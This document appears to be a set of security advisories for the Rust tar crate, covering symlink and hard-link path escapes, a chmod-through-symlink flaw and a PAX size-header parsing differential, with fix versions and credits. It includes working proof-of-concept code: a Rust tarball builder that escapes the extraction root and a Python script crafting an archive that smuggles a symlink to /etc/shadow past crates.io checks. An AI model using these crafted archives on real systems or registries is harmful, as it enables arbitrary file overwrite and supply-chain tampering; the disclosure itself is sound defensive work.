tar known bugs

When unpacking a tarball that contains a symlink the tar crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point.

When unpacking a tarball with the unpack_in-family of functions it's intended that only files within the specified directory are able to be written. Tarballs with hard links or symlinks, however, can be used to overwrite any file on the filesystem. Tarballs can contain multiple entries for the same file. A tarball which first contains an entry for a hard link or symlink pointing to any file on the filesystem will have the link created, and then afterwards if the same file is listed in the tarball the hard link will be rewritten and any file can be rewritten on the filesystem.

Versions 0.4.44 and below of tar-rs have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of [CVE-2025-62518][astral-cve], the [astral-tokio-tar] project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size — other tar parsers (including e.g. Go [`archive/tar`][go-tar]) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45. [astral-cve]: https://www.cve.org/CVERecord?id=CVE-2025-62518 [astral-tokio-tar]: https://github.com/astral-sh/tokio-tar [go-tar]: https://pkg.go.dev/archive/tar

In versions 0.4.44 and below of tar-rs, when unpacking a tar archive, the tar crate's `unpack_dir` function uses [`fs::metadata()`][fs-metadata] to check whether a path that already exists is a directory. Because `fs::metadata()` follows symbolic links, a crafted tarball containing a symlink entry followed by a directory entry with the same name causes the crate to treat the symlink target as a valid existing directory — and subsequently apply chmod to it. This allows an attacker to modify the permissions of arbitrary directories outside the extraction root. This issue has been fixed in version 0.4.45. [fs-metadata]: https://doc.rust-lang.org/std/fs/fn.metadata.html

When unpacking a tarball that contains a symlink the `tar` crate may create directories outside of the directory it's supposed to unpack into. The function errors when it's trying to create a file, but the folders are already created at this point. ```rust use std::{io, io::Result}; use tar::{Archive, Builder, EntryType, Header}; fn main() -> Result<()> { let mut buf = Vec::new(); { let mut builder = Builder::new(&mut buf); // symlink: parent -> .. let mut header = Header::new_gnu(); header.set_path("symlink")?; header.set_link_name("..")?; header.set_entry_type(EntryType::Symlink); header.set_size(0); header.set_cksum(); builder.append(&header, io::empty())?; // file: symlink/exploit/foo/bar let mut header = Header::new_gnu(); header.set_path("symlink/exploit/foo/bar")?; header.set_size(0); header.set_cksum(); builder.append(&header, io::empty())?; builder.finish()?; }; Archive::new(&*buf).unpack("demo") } ``` This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is published as `tar` 0.4.36. Thanks to Martin Michaelis (@mgjm) for discovering and reporting this, and Nikhil Benesch (@benesch) for the fix!

When unpacking a tarball with the `unpack_in`-family of functions it's intended that only files within the specified directory are able to be written. Tarballs with hard links or symlinks, however, can be used to overwrite any file on the filesystem. Tarballs can contain multiple entries for the same file. A tarball which first contains an entry for a hard link or symlink pointing to any file on the filesystem will have the link created, and then afterwards if the same file is listed in the tarball the hard link will be rewritten and any file can be rewritten on the filesystem. This has been fixed in https://github.com/alexcrichton/tar-rs/pull/156 and is published as `tar` 0.4.16. Thanks to Max Justicz for discovering this and emailing about the issue!

## Summary When unpacking a tar archive, the `tar` crate's `unpack_dir` function uses `fs::metadata()` to check whether a path that already exists is a directory. Because `fs::metadata()` follows symbolic links, a crafted tarball containing a symlink entry followed by a directory entry with the same name causes the crate to treat the symlink target as a valid existing directory — and subsequently apply `chmod` to it. This allows an attacker to modify the permissions of arbitrary directories outside the extraction root. ## Reproducer A malicious tarball contains two entries: (1) a symlink `foo` pointing to an arbitrary external directory, and (2) a directory entry `foo/.` (or just `foo`). When unpacked, `create_dir("foo")` fails with `EEXIST` because the symlink is already on disk. The `fs::metadata()` check then follows the symlink, sees a directory at the target, and allows processing to continue. The directory entry's mode bits are then applied via `chmod`, which also follows the symlink — modifying the permissions of the external target directory. ## Fix The fix is very simple, we now use `fs::symlink_metadata()` in `unpack_dir`, so symlinks are detected and rejected rather than followed. ## Credit This issue was reported by @xokdvium - thank you!

### Summary As part of [CVE-2025-62518](https://www.cve.org/CVERecord?id=CVE-2025-62518) the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. However, it was missed at the time that this project (the original Rust `tar` crate) had a conditional logic that skipped the PAX size header in the case that the base header size was nonzero - almost the inverse of the astral-tokio-tar issue. The problem here is that *any* discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust `tar`) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go `archive/tar`) unconditionally use the PAX size override. ### Details https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344 ### PoC (originally posted by https://github.com/xokdvium) > I was worried that cargo might be vulnerable to malicious crates, but it turns out that crates.io has been rejecting both symlinks and hard links: It seems like recent fixes to https://edera.dev/stories/tarmageddon have introduced a differential that could be used to smuggle symlinks into the registry that would get skipped over by `astral-tokio-tar` but not by `tar-rs`. https://github.com/astral-sh/tokio-tar/blob/aafc2926f2034d6b3ad108e52d4cfc73df5d47a4/src/archive.rs#L578-L600 https://github.com/alexcrichton/tar-rs/blob/88b1e3b0da65b0c5b9750d1a75516145488f4793/src/archive.rs#L339-L344 ```python #!/usr/bin/env python3 B = 512 def pad(d): r = len(d) % B return d + b"\0" * (B - r) if r else d def hdr(name, size, typ=b"0", link=b""): h = bytearray(B) h[0 : len(name)] = name h[100:107] = b"0000644" h[108:115] = h[116:123] = b"0001000" h[124:135] = f"{size:011o}".encode() h[136:147] = b"00000000000" h[148:156] = b" " h[156:157] = typ if link: h[157 : 157 + len(link)] = link h[257:263] = b"ustar\x00" h[263:265] = b"00" h[148:155] = f"{sum(h):06o}\x00".encode() return bytes(h) INFLATED = 2048 pax_rec = b"13 size=2048\n" ar = bytearray() ar += hdr(b"./PaxHeaders/regular", len(pax_rec), typ=b"x") ar += pad(pax_rec) content = b"regular\n" ar += hdr(b"regular.txt", len(content)) mark = len(ar) ar += pad(content) ar += hdr(b"smuggled", 0, typ=b"2", link=b"/etc/shadow") ar += b"\0" * B * 2 used = len(ar) - mark if used < INFLATED: ar += b"\0" * (((INFLATED - used + B - 1) // B) * B) ar += b"\0" * B * 2 open("smuggle.tar", "wb").write(bytes(ar)) ``` `tar-rs` and `astral-tokio-tar` parse it differently, with `astral-tokio-tar` skipping over the symlink (so presumably the check from https://github.com/rust-lang/crates.io/blob/795a4f85dec436f2531329054a4cfddeb684f5c5/crates/crates_io_tarball/src/lib.rs#L92-L102 wouldn't disallow it). ```rust use std::fs; use std::path::PathBuf; fn sync_parse(data: &[u8]) { println!("tar:"); let mut ar = tar::Archive::new(data); for e in ar.entries().unwrap() { let e = e.unwrap(); let path = e.path().unwrap().to_path_buf(); let kind = e.header().entry_type(); let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); } async fn async_parse(data: Vec<u8>) { println!("astral-tokio-tar:"); let mut ar = tokio_tar::Archive::new(data.as_slice()); let mut entries = ar.entries().unwrap(); while let Some(e) = tokio_stream::StreamExt::next(&mut entries).await { let e = e.unwrap(); let path = e.path().unwrap().to_path_buf(); let kind = e.header().entry_type(); let link: Option<PathBuf> = e.link_name().ok().flatten().map(|l| l.to_path_buf()); match link { Some(l) => println!(" {:20} {:?} -> {}", path.display(), kind, l.display()), None => println!(" {:20} {:?}", path.display(), kind), } } println!(); } #[tokio::main] async fn main() { let path = std::env::args().nth(1).unwrap_or("smuggle.tar".into()); let data = fs::read(&path).unwrap(); sync_parse(&data); async_parse(data).await; } ``` ``` tar: regular.txt Regular smuggled Symlink -> /etc/shadow astral-tokio-tar: regular.txt Regular ``` ### Impact This can affect anything that uses the `tar` crate to parse archives and expects to have a consistent view with other parsers. In particular it is known to affect crates.io which uses `astral-tokio-tar` to parse, but cargo uses `tar`.